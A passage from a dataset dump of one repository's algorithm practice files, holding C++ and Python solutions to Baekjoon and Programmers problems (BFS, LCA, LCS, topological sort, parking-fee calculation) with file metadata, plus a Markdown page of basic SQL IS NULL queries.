0;\n}"},{"alpha_fraction":0.4567541182041168,"alphanum_fraction":0.4839650094509125,"avg_line_length":19.19607925415039,"blob_id":"e46ae713f119c624538d165e2db696f133d087d9","content_id":"34f3b43c2f55df0b0d1333c8cd336b4854f6a4fd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1057,"license_type":"no_license","max_line_length":71,"num_lines":51,"path":"/BOJ/BFS_DFS/5014.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 5014번: 스타트링크\nDATE: 2022-04-28\nBFS\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\nint F, S, G, U, D;\nbool visited[1000001];\n\nvoid bfs(int S){\n queue<pair<int,int>> q;\n q.push({S, 0});\n visited[S] = true;\n \n while(!q.empty()){\n int floor = q.front().first;\n int cnt = q.front().second;\n q.pop();\n\n if(floor == G) {\n cout << cnt;\n return;\n }\n\n int upstairs = floor + U;\n int downstairs = floor - D;\n\n if(upstairs > 0 && upstairs <= F && !visited[upstairs]) {\n q.push({upstairs, cnt + 1});\n visited[upstairs] = true;\n }\n if(downstairs > 0 && downstairs <= F && !visited[downstairs]) {\n q.push({downstairs, cnt + 1});\n visited[downstairs] = true;\n }\n }\n\n cout << \"use the stairs\";\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> F >> S >> G >> U >> D; // 총 F층, 현재 층, 도착 층, Up, Down\n\n bfs(S);\n\n return 0;\n}"},{"alpha_fraction":0.5967742204666138,"alphanum_fraction":0.6451612710952759,"avg_line_length":18.153846740722656,"blob_id":"d9d033352c76bfb5e6c366ae545b041243f88861","content_id":"fce5c9caa4be0ea8aca041138ec3e0155482ca80","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":264,"license_type":"no_license","max_line_length":48,"num_lines":13,"path":"/programmers/Level 1/pick_two_and_add.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# programmers Level 1: 두 개 뽑아서 더하기\n# date: 2022-04-14\nimport itertools\n\ndef solution(numbers):\n answer = []\n\n for i in itertools.combinations(numbers, 2):\n answer.append(i[0] + i[1])\n\n answer = sorted(set(answer))\n\n return answer"},{"alpha_fraction":0.4154103994369507,"alphanum_fraction":0.47236180305480957,"avg_line_length":18.933332443237305,"blob_id":"e93242cbcc880cb791a3871be2e5f1ca3e0acac5","content_id":"4d8d3e5d7149be1998cd0fbf4ed60c3523950181","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":603,"license_type":"no_license","max_line_length":60,"num_lines":30,"path":"/programmers/Level 1/gym_clothes.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 1: 체육복\ndate: 2021-04-28\nupdate: 2022-04-28\n*/\n#include <string>\n#include <vector>\nusing namespace std;\n\nint arr[31];\n\nint solution(int n, vector<int> lost, vector<int> reserve) {\n int answer = 0;\n \n for(auto i : lost) arr[i] -= 1;\n for(auto i : reserve) arr[i] += 1;\n \n for(int i = 1 ; i < n ; i++){\n if(arr[i] == -1){\n if(arr[i-1] == 1) arr[i] = arr[i-1] = 0;\n else if(arr[i+1] == 1) arr[i] = arr[i+1] = 0;\n }\n }\n \n for(int i = 1 ; i <= n ; i++){\n if(arr[i] > -1) answer++;\n }\n \n return answer;\n}"},{"alpha_fraction":0.33221250772476196,"alphanum_fraction":0.3665097653865814,"avg_line_length":18.324674606323242,"blob_id":"8f699b2810ecd2d568366b40f8f44fa5a34e9b5a","content_id":"18fc5c709ff21bd98ce55c9f5e3806aeb83b2891","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1575,"license_type":"no_license","max_line_length":79,"num_lines":77,"path":"/BOJ/Implementation/14503.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14503번: 로봇 청소기\nDATE: 2022-02-04\nImplementation\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\nint n, m, ans;\nint arr[51][51];\nint dx[4] = {-1, 0, 1, 0}; \nint dy[4] = {0, 1, 0, -1};\nint x, y, d;\n\nint getDir(int d) {\n if(d == 0) return 3;\n else if(d == 1) return 0;\n else if(d == 2) return 1;\n else return 2;\n}\n\nvoid solve(){\n while(1){\n bool flag = false;\n\n if(!arr[x][y]){\n arr[x][y] = 2; // 청소 완료\n ans++;\n }\n \n for(int i = 0 ; i < 4 ; i++) {\n d = getDir(d);\n int nx = x + dx[d];\n int ny = y + dy[d];\n\n if(nx < 0 || ny < 0 || nx >= n || ny >= m || arr[nx][ny]) continue;\n \n x = nx;\n y = ny;\n flag = true;\n\n break;\n }\n\n if(!flag) { // 네 방향 모두 청소가 이미 되어있거나 벽인 경우\n int nd = (d + 2) % 4; // 후진 할 방향\n int nx = x + dx[nd];\n int ny = y + dy[nd];\n\n if(nx < 0 || ny < 0 || nx >= n || ny >= m) continue;\n\n if(arr[nx][ny] != 1) { // 후진 가능 (방향은 그대로)\n x = nx;\n y = ny;\n }\n else return;\n }\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n >> m;\n cin >> x >> y >> d;\n\n for(int i = 0 ; i < n ; i++){\n for(int j = 0 ; j < m ; j++){\n cin >> arr[i][j];\n }\n }\n\n solve();\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.46423017978668213,"alphanum_fraction":0.4914463460445404,"avg_line_length":21.578947067260742,"blob_id":"31facdaec411a89c9401de3355cbcfbe22dae817","content_id":"f5d2a432fa4856dfa0224912b149a19a11445794","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1438,"license_type":"no_license","max_line_length":90,"num_lines":57,"path":"/BOJ/BFS_DFS/14226.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 14226번: 이모티콘\nDATE: 2021-01-25\nBFS\n*/\n#include <iostream>\n#include <queue>\n#define MAX 1001\nusing namespace std;\n\nint visited[MAX][MAX] = { 0, };\n\nint main()\n{\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\n int s;\n cin >> s;\n\n queue<pair<int, int>> q; //(화면 출력 개수, 클립보드 개수)\n pair<int, int> p;\n\n q.push(make_pair(1, 0));\n visited[1][0] = 1;\n\n while (!q.empty())\n {\n p = q.front();\n int monitor = p.first;\n int cb = p.second;\n q.pop();\n\n if (monitor == s)\n {\n cout << visited[monitor][cb]-1;\n break;\n }\n \n if (!visited[monitor][monitor]) //화면에 있는 이모티콘을 모두 복사해서 클립보드에 저장\n {\n q.push(make_pair(monitor, monitor));\n visited[monitor][monitor] = visited[monitor][cb] + 1;\n }\n if (monitor + cb < MAX && !visited[monitor + cb][cb]) //클립보드에 있는 모든 이모티콘을 화면에 붙여넣기\n {\n q.push(make_pair(monitor + cb, cb));\n visited[monitor + cb][cb] = visited[monitor][cb] + 1;\n }\n if (monitor > 0 && !visited[monitor - 1][cb]) //화면에 있는 이모티콘 중 하나를 삭제\n {\n q.push(make_pair(monitor - 1, cb));\n visited[monitor - 1][cb] = visited[monitor][cb] + 1;\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.4117647111415863,"alphanum_fraction":0.46740859746932983,"avg_line_length":16.027027130126953,"blob_id":"e38c3c9550ed1bfd175c8a0ae750ad94aa523fcf","content_id":"9ef49084b4dc78aa8757fcac2423bcb1778dc90a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":687,"license_type":"no_license","max_line_length":58,"num_lines":37,"path":"/BOJ/Graph Theory/17073.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 17073번: 나무 위의 빗물\nDATE: 2021-01-21\n*/\n#include <iostream>\n#include <queue>\n#define NODE_MAX 500000\n\nusing namespace std;\n\nint edge[NODE_MAX] = { 0, };\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\n int n;\n double w, leaf=0;\n cin >> n >> w;\n\n for (int i = 0; i < n - 1; i++) {\n int u, v;\n cin >> u >> v;\n edge[u - 1]++;\n edge[v - 1]++;\n }\n\n for (int i = 1 ; i < n; i++) { \n if (edge[i] == 1) //부모 노드와만 연결 되었다면 leaf\n leaf++;\n }\n\n cout << fixed; //소수점 고정\n cout.precision(10); //소수점 10자리\n cout << w / leaf;\n\n return 0;\n}"},{"alpha_fraction":0.41525423526763916,"alphanum_fraction":0.45338982343673706,"avg_line_length":16.830188751220703,"blob_id":"a6f1e8da0ae429b93595eff13f175e27b01111d8","content_id":"de7b3bcc519d4ad65898fa18ad04bcceeeebdde3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":946,"license_type":"no_license","max_line_length":58,"num_lines":53,"path":"/BOJ/Graph Theory/2252.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//BOJ 2252번: 줄 세우기\n//2021-07-12\n//Topology Sort\n#include <iostream>\n#include <queue>\n#include <vector>\n#define MAX 100000\nusing namespace std;\n\nint n, inDegree[MAX];\nvector<int> v[MAX];\n\nvoid topologySort(){\n int result[n];\n queue<int> q;\n\n for(int i = 1 ; i <= n ; i++){\n if(inDegree[i] == 0) q.push(i);\n }\n\n for(int i = 0 ; i < n ; i++){\n int x = q.front();\n q.pop();\n result[i] = x;\n\n for(int j = 0 ; j < v[x].size() ; j++){\n int y = v[x][j];\n if(--inDegree[y] == 0) q.push(y);\n }\n }\n\n for(int i = 0 ; i < n ; i++){\n cout << result[i] << \" \";\n }\n\n return;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int m, num1, num2;\n cin >> n >> m;\n \n for(int i = 0 ; i < m ; i++){\n cin >> num1 >> num2;\n v[num1].push_back(num2);\n inDegree[num2]++;\n }\n\n topologySort();\n\n return 0;\n}"},{"alpha_fraction":0.4667896628379822,"alphanum_fraction":0.5055350661277771,"avg_line_length":14.970588684082031,"blob_id":"21774e653168188a8de49baa59d09b8aab518034","content_id":"e04afa0a4b67c061ad5ebf3fb5014d83d8bc25f9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":552,"license_type":"no_license","max_line_length":58,"num_lines":34,"path":"/BOJ/Mathematics/1978.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1978번: 소수 찾기\nDATE: 2021-10-09\n*/\n#include <iostream>\n#include <vector>\n#include <math.h>\nusing namespace std;\n\nbool isPrime(int num) {\n if (num < 2) return false;\n\n for(int i = 2 ; i <= sqrt(num) ; i++) {\n if(num % i == 0) return false;\n }\n\n return true;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, num, cnt = 0;\n vector<int> v;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++) {\n cin >> num;\n if(isPrime(num)) cnt++;\n }\n\n cout << cnt;\n\n return 0;\n}"},{"alpha_fraction":0.37490609288215637,"alphanum_fraction":0.41622841358184814,"avg_line_length":18.02857208251953,"blob_id":"6736ff7e104355d61d2f86bf1b5957d1a592173f","content_id":"863ad4f996ccae49e9aeb3e61078ad5037dcfe95","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1373,"license_type":"no_license","max_line_length":58,"num_lines":70,"path":"/BOJ/Implementation/1062.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1062번: 가르침\nDATE: 2021-10-20\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nvector<string> words;\nint k, ans = 0;\nint alpha[26] = {0,};\n\nvoid combination(int depth, int next) {\n if(depth == k - 5) { //a n t i c를 제외한 조합\n int cnt = 0;\n\n for(int i = 0 ; i < words.size() ; i++) {\n bool flag = true;\n for(int j = 0 ; j < words[i].length() ; j++) {\n if(alpha[words[i][j] - 97] == 0){\n flag = false;\n break;\n }\n }\n if(flag) cnt++;\n }\n\n ans = max(ans, cnt);\n\n return;\n }\n\n for(int i = next ; i < 26 ; i++) {\n if(alpha[i] == 1) continue;\n\n alpha[i] = 1;\n combination(depth + 1, i + 1);\n alpha[i] = 0;\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n string word;\n cin >> n >> k;\n\n if(k < 5) { // 모든 단어가 a n t i c를 포함하므로\n cout << \"0\";\n return 0;\n }\n \n alpha['a' - 97] = 1;\n alpha['n' - 97] = 1;\n alpha['t' - 97] = 1;\n alpha['i' - 97] = 1;\n alpha['c' - 97] = 1;\n\n for(int i = 0 ; i < n ; i++) {\n cin >> word;\n words.push_back(word);\n }\n \n combination(0, 0);\n\n cout << ans;\n \n return 0;\n}"},{"alpha_fraction":0.3930753469467163,"alphanum_fraction":0.42362526059150696,"avg_line_length":19.914894104003906,"blob_id":"a2dd1a8be42b32a64e2403d01f91076bf0ca7333","content_id":"c058dcdab7efa0ededd0d42ff703908ac9a04d74","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":988,"license_type":"no_license","max_line_length":88,"num_lines":47,"path":"/BOJ/Graph Theory/1956.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1956번: 운동\nDATE: 2022-03-04\nFloyd-Warshall Algorithm\n*/\n#include <iostream>\n#include <algorithm>\n#define MAX 401\n#define INF 1e9\nusing namespace std;\n\nint arr[MAX][MAX];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int v, e;\n int a, b, c;\n int minVal = INF;\n cin >> v >> e;\n\n fill(&arr[0][0], &arr[v][v], INF);\n\n for(int i = 0 ; i < e ; i++){\n cin >> a >> b >> c;\n arr[a][b] = min(arr[a][b], c);\n }\n\n for(int k = 1 ; k <= v ; k++){\n for(int i = 1 ; i <= v ; i++){\n for(int j = 1 ; j <= v ; j++){\n if(arr[i][k] + arr[k][j] < arr[i][j]) arr[i][j] = arr[i][k] + arr[k][j];\n }\n }\n }\n\n for(int i = 1 ; i <= v ; i++){\n for(int j = 1 ; j <= v ; j++){\n if(i == j || arr[i][j] == INF) continue;\n minVal = min(minVal, arr[i][j] + arr[j][i]);\n }\n }\n\n if(minVal == INF) cout << -1;\n else cout << minVal;\n\n return 0;\n}"},{"alpha_fraction":0.41017964482307434,"alphanum_fraction":0.46856287121772766,"avg_line_length":16.153846740722656,"blob_id":"23905d28da44ea5ab3322df6ee88cb7199e65287","content_id":"609f012791f7c6980433af6d885ce9532ff512c1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":676,"license_type":"no_license","max_line_length":58,"num_lines":39,"path":"/BOJ/Two Pointer/1806.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1806번: 부분합\nDATE: 2021-06-01\nTwo Pointer\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint arr[100001];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int start=0, end=0, sum=0;\n int length = 100001;\n int n, s;\n cin >> n >> s;\n\n for(int i = 0 ; i < n ; i++){\n cin >> arr[i];\n }\n\n while(end <= n){\n if(sum >= s){\n int dst = end - start;\n length = min(length, dst);\n\n sum -= arr[start++];\n }\n else if(sum < s){\n sum += arr[end++];\n }\n }\n\n if(length == 100001) cout << 0;\n else cout << length;\n\n return 0;\n}"},{"alpha_fraction":0.4037266969680786,"alphanum_fraction":0.4551907777786255,"avg_line_length":21.559999465942383,"blob_id":"2037299183fdc0ec4ee230242b90073acdf65cde","content_id":"6d969e199330fb7a0d14ecc50dcbf7ed68f0aaa2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1129,"license_type":"no_license","max_line_length":75,"num_lines":50,"path":"/BOJ/Dynamic Programming/9252.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 9252번: LCS 2\nDATE: 2022-02-16\nDynamic Programming (Longest Common Subsequence)\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint dp[1001][1001];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string str1, str2;\n cin >> str1 >> str2;\n\n for(int i = 1 ; i <= str2.length() ; i++){\n for(int j = 1 ; j <= str1.length() ; j++){\n if(str2[i - 1] == str1[j - 1]) dp[i][j] = dp[i - 1][j - 1] + 1;\n else dp[i][j] = max(dp[i - 1][j] , dp[i][j - 1]);\n }\n }\n\n int length = dp[str2.length()][str1.length()];\n cout << length << '\\n';\n\n if(length == 0) return 0;\n \n char ans[length];\n int i = str2.length(), j = str1.length();\n int idx = 0, num = length;\n\n while(1){\n if(num == 0) break;\n\n if(num == dp[i][j - 1]) j--;\n else if(num == dp[i - 1][j]) i--;\n else {\n ans[idx++] = str1[j - 1];\n num = dp[i - 1][j - 1];\n i--; \n j--;\n }\n }\n\n reverse(ans, ans + length);\n for(int i = 0 ; i < length ; i++) cout << ans[i];\n\n return 0;\n}"},{"alpha_fraction":0.4708029329776764,"alphanum_fraction":0.5054744482040405,"avg_line_length":20.115385055541992,"blob_id":"b7ee071af63d6675692a5ba32c8c8b47f3f7a792","content_id":"9c63d38aa7cbbd0df70a9809d0d1aa276819293c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":560,"license_type":"no_license","max_line_length":86,"num_lines":26,"path":"/programmers/Level 2/english_shiritori.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 영어 끝말잇기\nDATE: 2022-06-14\n*/\n#include <string>\n#include <vector>\n#include <iostream>\n#include <map>\nusing namespace std;\n\nvector<int> solution(int n, vector<string> words) {\n vector<int> answer(2, 0);\n map<string, int> word;\n\n for(int i = 0 ; i < words.size() ; i++){\n if(word[words[i]] > 0 || (i > 0 && words[i - 1].back() != words[i].front())) {\n answer[0] = i % n + 1;\n answer[1] = i / n + 1;\n break;\n }\n \n word[words[i]]++;\n }\n\n return answer;\n}"},{"alpha_fraction":0.3958539068698883,"alphanum_fraction":0.45607107877731323,"avg_line_length":22.581396102905273,"blob_id":"16a086e3fd78e97555798c4423f493a8aa1cffe3","content_id":"a0cda88e76dbbf61b0e6b5096639d4957e31e4ae","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1013,"license_type":"no_license","max_line_length":94,"num_lines":43,"path":"/programmers/Level 1/crane_doll_draw_game.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 1 : Crane doll draw game\n//2019 KAKAO Winter Internship\n//2021-05-07\n#include <string>\n#include <vector>\n#include <iostream>\n\nusing namespace std;\n\nint solution(vector<vector<int>> board, vector<int> moves) {\n int answer = 0;\n vector<int> v;\n \n for(int i = 0 ; i < moves.size() ; i++){\n for(int j = 0 ; j < board.size() ; j++){\n if(board[j][moves[i] - 1] > 0){\n v.push_back(board[j][moves[i] - 1]);\n board[j][moves[i] - 1] = 0;\n break;\n }\n } \n }\n \n for(int i = 0 ; i < v.size() ; i++){\n if(v[i] == v[i - 1]){\n answer += 2;\n v.erase(v.begin() + (i - 1) , v.begin() + (i + 1));\n i-=2;\n }\n }\n \n return answer;\n}\n\nint main(){\n vector<vector<int>> board = {{0,0,0,0,0},{0,0,1,0,3},{0,2,5,0,1},{4,2,4,4,2},{3,5,1,3,1}};\n vector<int> moves = {1,5,3,5,1,2,1,4};\n\n int num = solution(board, moves);\n cout << num;\n\n return 0;\n}"},{"alpha_fraction":0.40674155950546265,"alphanum_fraction":0.449438214302063,"avg_line_length":12.9375,"blob_id":"85ee0f357f3eedcef2476ab1cd3116a0efd34378","content_id":"cb82b4710a7318f8d18f18d5c13d3c2bbd8c279c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":451,"license_type":"no_license","max_line_length":58,"num_lines":32,"path":"/BOJ/Implementation/2161.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2161번: 카드1\n2021-03-30\n*/\n#include <iostream>\n#include <queue>\n\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n queue <int> q;\n\n int n;\n cin >> n;\n\n for(int i = 1 ; i <= n ; i++){\n q.push(i);\n }\n\n while(!(q.size() == 1)){\n cout << q.front() << \" \";\n q.pop();\n\n q.emplace(q.front()); \n q.pop();\n }\n\n cout << q.front();\n\n return 0;\n}"},{"alpha_fraction":0.48491379618644714,"alphanum_fraction":0.5387930870056152,"avg_line_length":17.600000381469727,"blob_id":"e265e134d823d7e3e5861b4d0c9e02d07cd3be2f","content_id":"bd307f6a0588a1d5dc4d8c1599417824068ac7c5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":474,"license_type":"no_license","max_line_length":58,"num_lines":25,"path":"/BOJ/Implementation/10818_2.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 10818번: 최소, 최대 \n2021-03-30\nmin, max ver\n*/\n#include <iostream>\n#include <algorithm>\n#define MAX 1000000\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, input, min_num = MAX, max_num = -MAX;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n cin >> input;\n min_num = min(min_num, input);\n max_num = max(max_num, input);\n }\n\n cout << min_num << \" \" << max_num;\n\n return 0;\n}"},{"alpha_fraction":0.3973214328289032,"alphanum_fraction":0.4188988208770752,"avg_line_length":17.943662643432617,"blob_id":"53a9975f7e40202dbe0b07e8a13d730967ddc5fe","content_id":"ea638679ec7727a471555610c377ececd9509aee","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1380,"license_type":"no_license","max_line_length":58,"num_lines":71,"path":"/BOJ/Graph Theory/11437.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 11438번: LCA\nDATE: 2021-07-13\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#define MAX 100001\nusing namespace std;\n\nvector<int> v[MAX];\nint depth[MAX], parent[MAX];\nint n, m;\n\nvoid bfs(int parentNode, int curDepth){\n queue<int> q;\n q.push(parentNode);\n\n while(!q.empty()){\n int qsize = q.size();\n for(int i = 0 ; i < qsize ; i++){\n int curNode = q.front();\n depth[curNode] = curDepth;\n q.pop();\n\n for(int nextNode : v[curNode]){\n if(depth[nextNode] == 0){\n parent[nextNode] = curNode;\n q.push(nextNode);\n }\n }\n }\n curDepth++;\n }\n\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int a, b;\n cin >> n;\n \n for(int i = 1 ; i < n ; i++){\n cin >> a >> b;\n v[a].push_back(b);\n v[b].push_back(a);\n }\n\n bfs(1, 1);\n\n cin >> m;\n\n for(int i = 0 ; i < m ; i++){\n cin >> a >> b;\n\n //a의 레벨 > b의 레벨\n if(depth[a] < depth[b]) swap(a, b);\n \n while(depth[a] != depth[b]) {\n a = parent[a]; //레벨이 같아질 때까지 갱신\n }\n while(a != b){\n a = parent[a];\n b = parent[b]; \n }\n\n cout << b << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.426858514547348,"alphanum_fraction":0.5179855823516846,"avg_line_length":13.928571701049805,"blob_id":"05c4543f8183fe768929700f65736c38d6a5c362","content_id":"021ff82f6b6c3b56abe6bff4f61e775d162f12c7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":423,"license_type":"no_license","max_line_length":58,"num_lines":28,"path":"/BOJ/Dynamic Programming/1904.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1904번: 01타일\nDATE: 2021-05-28\nDynamic programming\n*/\n#include <iostream>\n#define MOD 15746\n#define MAX 1000001\nusing namespace std;\n\nlong long dp[MAX] = {0,};\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n cin >> n;\n\n dp[1] = 1;\n dp[2] = 2;\n\n for(int i = 3 ; i <= n ; i++){\n dp[i] = (dp[i - 2] + dp[i - 1]) % MOD;\n }\n\n cout << dp[n];\n\n return 0;\n}"},{"alpha_fraction":0.4681440591812134,"alphanum_fraction":0.5235456824302673,"avg_line_length":15.454545021057129,"blob_id":"ada2079fba5224f2a90392dc1b29d8b194e9be03","content_id":"6bedca41feaeb6170d445d89f2b5d25085257da6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":367,"license_type":"no_license","max_line_length":58,"num_lines":22,"path":"/BOJ/Implementation/10817.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//BOJ 10817번: 세 수\n//2021-05-04\n#include <iostream>\n#include <algorithm>\n#include <vector>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n vector<int> v;\n\n for(int i = 0 ; i < 3 ; i++){\n cin >> n;\n v.push_back(n);\n }\n\n sort(v.begin(), v.end());\n cout << v[1];\n\n return 0;\n}"},{"alpha_fraction":0.440443217754364,"alphanum_fraction":0.4764542877674103,"avg_line_length":19.11111068725586,"blob_id":"64d9598ec5622330ad19c3fbced3d2290ebb0eb0","content_id":"c588e35a01fc4b301637539a0ad7f7c272a15922","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":377,"license_type":"no_license","max_line_length":38,"num_lines":18,"path":"/programmers/Level 1/incomplete_player.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# programmers Level 1: 완주하지 못한 선수\n# date: 2022-04-15\ndef solution(participant, completion):\n answer = ''\n dic = {}\n \n for x in participant:\n dic[x] = dic.get(x, 0) + 1\n \n for x in completion:\n dic[x] -= 1\n \n for k, v in dic.items():\n if v == 1:\n answer = k\n break\n \n return answer"},{"alpha_fraction":0.486679345369339,"alphanum_fraction":0.5099905133247375,"avg_line_length":22.10988998413086,"blob_id":"44b6b144e47271dab9cfafb02e30fa13a0370d38","content_id":"cba1910d35a385179ad41be766338fbfd5bab0c3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2156,"license_type":"no_license","max_line_length":82,"num_lines":91,"path":"/programmers/Level 2/parking_fee_calculation.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 주차 요금 계산\n2022 KAKAO BLIND RECRUITMENT\nDATE: 2022-04-02\n*/\n#include <string>\n#include <vector>\n#include <map>\n#include <sstream>\n#include <algorithm>\n#include <cmath>\nusing namespace std;\n\nvector<string> split(string str, char del){\n vector<string> ret;\n istringstream iss(str);\n string buffer;\n \n while(getline(iss, buffer, del)) ret.push_back(buffer);\n \n return ret;\n}\n\nint calcTime(string in, string out){\n int idx, time = 0;\n \n idx = in.find(':');\n int in_hour = stoi(in.substr(0, idx));\n int in_min = stoi(in.substr(idx + 1));\n \n idx = out.find(':');\n int out_hour = stoi(out.substr(0, idx));\n int out_min = stoi(out.substr(idx + 1));\n \n if(in_min > out_min){\n time += 60 - in_min + out_min;\n time += (out_hour - in_hour - 1) * 60;\n }\n else{\n time += out_min - in_min;\n time += (out_hour - in_hour) * 60;\n }\n \n return time;\n}\n\nvector<int> solution(vector<int> fees, vector<string> records) {\n vector<int> answer;\n map<string, string> m1;\n map<string, int> m2;\n \n for(auto i : records){\n vector<string> ret = split(i, ' ');\n string car = ret[1];\n \n if(m1.find(car) != m1.end()){\n int time = calcTime(m1[car], ret[0]);\n \n m2[car] += time;\n m1.erase(car);\n } \n else m1[car] = ret[0]; \n }\n \n for(auto i : m1) { // 입차 기록은 존재하는데 출차 기록이 없는 차들 계산\n string car = i.first;\n string in = i.second;\n string out = \"23:59\";\n \n int time = calcTime(in, out);\n m2[car] += time;\n }\n\n vector<pair<string, int>> tmp;\n\n for(auto i : m2){\n string car = i.first;\n int total = i.second;\n\n if(total <= fees[0]) tmp.push_back({car, fees[1]});\n else{\n int fee = fees[1] + ceil(double(total - fees[0]) / fees[2]) * fees[3];\n tmp.push_back({car, fee});\n }\n }\n \n sort(tmp.begin(), tmp.end());\n for(auto i : tmp) answer.push_back(i.second);\n \n return answer;\n}"},{"alpha_fraction":0.6355311274528503,"alphanum_fraction":0.6849817037582397,"avg_line_length":17.827587127685547,"blob_id":"6c1b95791ffb5844b7334560701cd31c0c4cf11f","content_id":"0ba6fc02748e8084178eb7bb26f5b4333cbb3452","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":598,"license_type":"no_license","max_line_length":91,"num_lines":29,"path":"/programmers/SQL/IS NULL.md","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# IS NULL\n\n**[1. 이름이 없는 동물의 아이디 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59039)**\n\n```sql\nSELECT ANIMAL_ID\nFROM ANIMAL_INS\nWHERE NAME IS NULL\n```\n\n<br/>\n\n**[2. 이름이 있는 동물의 아이디 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59407)**\n\n```sql\nSELECT ANIMAL_ID\nFROM ANIMAL_INS\nWHERE NAME IS NOT NULL\n```\n\n<br/>\n\n**[3. NULL 처리하기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59410)**\n\n```sql\nSELECT ANIMAL_TYPE, IFNULL(NAME, 'No name') AS NAME, SEX_UPON_INTAKE\nFROM ANIMAL_INS\nORDER BY 